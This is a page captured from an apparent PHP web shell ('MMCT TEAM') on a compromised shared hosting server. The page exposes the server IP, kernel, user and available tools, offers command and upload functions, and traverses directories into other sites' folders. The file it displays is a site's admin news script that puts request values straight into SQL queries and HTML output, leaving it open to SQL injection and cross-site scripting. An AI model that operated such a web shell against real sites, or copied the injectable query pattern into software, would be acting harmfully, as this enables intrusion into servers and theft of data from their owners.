MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.142.255.23
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/sssktrust.com/../cyclopsecycles.com/../globalliftssystems.com/wknadmin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/sssktrust.com/../cyclopsecycles.com/../globalliftssystems.com/wknadmin/news_f.php
<?php
require_once("../includes/dbsmain.inc.php");
ob_start();
$press_rel_id=$_REQUEST['press_rel_id'];
if(is_post_back()) {
if(!empty($press_rel_id)){
$ednewssql="update tbl_press_realeases set 
				press_rel_name='$press_rel_name',
				press_rel_type='$press_rel_type',
				press_rel_url='$press_rel_url',
				press_headline_url='$press_headline_url',
				press_rel_desc='$press_rel_desc',
				press_rel_status='$press_rel_status',
				press_rel_add_date=now()
				where press_rel_id='$_REQUEST[press_rel_id]'";
				db_query($ednewssql);
				set_session_msg("News Updated Successfully !");
				header("location:manage_news.php");	
				exit;		
}else{
$sql="insert into tbl_press_realeases set 
				press_rel_name='$press_rel_name',
				press_rel_type='$press_rel_type',
				press_rel_url='$press_rel_url',
				press_headline_url='$press_headline_url',
				press_rel_status='$press_rel_status',
				press_rel_desc='$press_rel_desc',
				press_rel_add_date=now()";
				db_query($sql);
				set_session_msg("News Added Successfully !");
				header("location:manage_news.php");	
				exit;		
    }
}
if($press_rel_id!='') {
	$result = db_query("select * from tbl_press_realeases where press_rel_id = '$press_rel_id'");
	if ($line_raw = mysqli_fetch_array($result)) {
	 @extract($line_raw);
	}
}
?>
<script src="ckeditor/ckeditor.js"></script>
<style>
p.fck {
    width: 90%;
	float:left;
    margin: 0 auto;
 }
</style>
<link href="styles.css" rel="stylesheet" type="text/css">
<?php include("top.inc.php");?>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="pageHead"><div id="txtPageHead">Add/Edit News</div></td>
              </tr>
            </table>
            <div align="right"><a href="manage_news.php" style="font-size:12px; font-weight:bold; margin-right:15px;">Back to News List</a>&nbsp;</div>
            <form name="form1" method="post" enctype="multipart/form-data">
              <table width="95%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm">
                <tr>
                  <td width="20%" class="tdLabel">&nbsp;</td>
                  <td width="80%" class="tdData" style="padding-left:7px;"><strong><font color="red">
                    <?=display_sess_msg();?>
                    </font></strong></td>
                </tr>
                <tr>
                  <td width="20%" class="tdLabel" style="font-size:12px; padding:7px;">Media Name:</td>
                  <td width="80%" class="tdData" style="font-size:12px; padding:7px;"><input name="press_rel_name" style="width:350px; height:28px;" type="text" id="press_rel_name"  value="<?=$press_rel_name?>" class="textfield"  ></td>
                </tr>
                                
                <tr>
                  <td width="20%" class="tdLabel" style="font-size:12px; padding:7px;">Media Type.:</td>
                  <td width="80%" class="tdData" style="font-size:12px; padding:7px;"><select class="gcl bd6" name="press_rel_type" id="press_rel_type" style="width:350px; height:28px;">
                  <option value="Print Media" selected="selected">Print Media</option>
                  <option value="Electronic Media" <?php if($press_rel_type=='Electronic Media'){ ?> selected="selected" <? } ?>>Electronic Media</option>
                </select></td>
                </tr>
				
				<tr>
                  <td width="20%" class="tdLabel" style="font-size:12px; padding:7px;">Headline:</td>
                  <td width="80%" class="tdData" style="font-size:12px; padding:7px;"><input name="press_headline_url" style="width:350px; height:28px;" type="text" id="press_headline_url"  value="<?=$press_headline_url?>" class="textfield"  ></td>
                </tr>
                
				<tr>
                  <td width="20%" class="tdLabel" style="font-size:12px; padding:7px;">News Coverage URL:</td>
                  <td width="80%" class="tdData" style="font-size:12px; padding:7px;"><input name="press_rel_url" style="width:350px; height:28px;" type="text" id="press_rel_url"  value="<?=$press_rel_url?>" class="textfield"  ></td>
                </tr>
				
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">News Coverage Detail:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><p class="fck">
                      <textarea cols="80" id="editor1" name="press_rel_desc" rows="10"><?=$press_rel_desc?>
</textarea>
                      <script>

			// Replace the <textarea id="editor"> with an CKEditor
			// instance, using default configurations.
			CKEDITOR.replace( 'editor1', {
				uiColor: '#ACACAC',
				toolbar: [
					[ 'Bold', 'Italic', '-', 'NumberedList', 'BulletedList', '-', 'Link', 'Unlink' ],
					[ 'FontSize', 'TextColor', 'BGColor' ]
				]
			});

		</script>
                    </p></td>
                </tr>
                
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Status:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="press_rel_status" style="width:200px; height:26px;">
                      <option value="Active" <?php if($press_rel_status=='Active'){ ?> selected="selected" <? } ?>>Active</option>
                      <option value="Inactive" <?php if($press_rel_status=='Inactive'){ ?> selected="selected" <? } ?>>Inactive</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">&nbsp;</td>
                  <td class="tdData" style="font-size:12px; padding:7px;">
                    <input type="image" name="imageField" src="images/buttons/submit.gif" style="width:100px; margin-bottom:25px;" /></td>
                </tr>
              </table>
            </form>
            <?php include("bottom.inc.php");?>

MMCT - 2023